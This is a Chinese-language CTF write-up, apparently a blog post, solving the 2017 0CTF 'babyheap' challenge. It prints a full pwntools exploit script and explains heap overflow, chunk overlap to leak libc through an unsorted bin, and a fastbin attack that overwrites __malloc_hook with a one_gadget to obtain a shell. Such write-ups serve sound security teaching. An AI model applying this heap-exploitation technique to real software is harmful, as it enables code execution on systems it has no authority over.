2017 0ctf babyheap

之前学习了一下lager bins的构建,今天来学习一下堆重叠和堆扩展
先找漏洞点
在这里插入图片描述这里没有对大小进行检查,可以输入任意字节,存在字节溢出
此题的难点在于如何泄露libc,由于add使用calloc的原因,当堆块从bins中拿出来时,会清空堆块
很明显我们要申请大的堆块进入unsorted bins来使main_aren+88写在堆块上,我们可以使上一个堆块扩展到这个堆块上来进行泄露
先贴上exp

from pwn import *
context.log_level = 'debug'
context.update(terminal=['tmux','splitw','-h'])
libc=ELF('./libc-2.23.so')
io=process('./babyheap')
def add(a):
	io.sendlineafter('Command: ','1')
	io.sendlineafter('Size: ',str(a))

def edit(a,b,c):
	io.sendlineafter('Command: ','2')
	io.sendlineafter('Index: ',str(a))
	io.sendlineafter('Size: ',str(b))
	io.sendafter('Content: ',c)

def free(a):
	io.sendlineafter('Command: ','3')
	io.sendlineafter('Index: ',str(a))

def show(a):
	io.sendlineafter('Command: ','4')
	io.sendlineafter('Index: ',str(a))
add(0x10)
add(0x40)
add(0x100)
add(0x10)
payload='a'*0x10+p64(0)+p64(0x71)
edit(0,len(payload),payload)
payload='a'*0x10+p64(0x70)+p64(0x111)
edit(2,len(payload),payload)
free(1)
add(0x60)
edit(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))
add(0x10)
free(2)
show(1)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print ("libc_base =" +hex(libc_base) )
libc.address=libc_base-0x3c4b78
malloc_hook = libc.symbols['__malloc_hook'] 
system_addr = libc.symbols['system']
print ('malloc = '+hex(malloc_hook))
free(1)
payload='a'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-27-8)
edit(0,len(payload),payload)
add(0x60)
add(0x60)
payload = 'a'*(27+8-0x10)+ p64(libc.address + 0x4527a)
edit(2,len(payload),payload)
add(0x10)
io.interactive()

我们申请四个堆块

add(0x10)
add(0x40)
add(0x100)
add(0x10)

第一个用来对第二个堆块溢出,第三个是用来进行unsorted bins的,第四个堆块来防止上个堆块与top chunk合并
当我们要泄漏libc时,很明显要扩展到unsorted bins的fd位,为了泄露libc,我们要让第二个堆扩展0x20,来和unsorted bins的fd进行重叠

payload='a'*0x10+p64(0)+p64(0x71)
edit(0,len(payload),payload)
payload='a'*0x10+p64(0x70)+p64(0x111)
edit(2,len(payload),payload)

首先我们要把size扩大,但free时存在检查,我们要把下一个堆块的pre_size位和size位改正

free(1)
add(0x60)
edit(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))
add(0x10)

释放堆块,在申请回来,这样原本0x40大小的堆块变成了0x60大小,但因为calloc的影响,我们要在对下一个堆块的head进行修改,申请一个堆块来防止合并

free(2)
show(1)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print ("libc_base =" +hex(libc_base) )
libc.address=libc_base-0x3c4b78

释放unsorted bins,unsorted bins的位置和大小都没变,但是吧0x60的一部分释放掉了,所以当我们show0x60时,会把libc一起释放出来

malloc_hook = libc.symbols['__malloc_hook'] 
system_addr = libc.symbols['system']
print ('malloc = '+hex(malloc_hook))
free(1)
payload='a'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-27-8)
edit(0,len(payload),payload)

接下来就是常规的劫持流,fastbins要检查size位的,如果我们之间申请malloc hook的话会出错,所以我们要在malloc上面找一个和0x70有关的数
经过调试我们发现在malloc-35的位置值是0x7f,由于in_use位的关系低位和大小无关,所以这个size当做0x70大小,正好符合我们的要求

edit(0,len(payload),payload)
add(0x60)
add(0x60)
payload = 'a'*(27+8-0x10)+ p64(libc.address + 0x4527a)
edit(2,len(payload),payload)
add(0x10)
io.interactive()

修改fd位,申请到malloc hook上面的堆块,进行填充到malloc_hook,填入one_gadget,我们申请堆块的时候就会触发

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值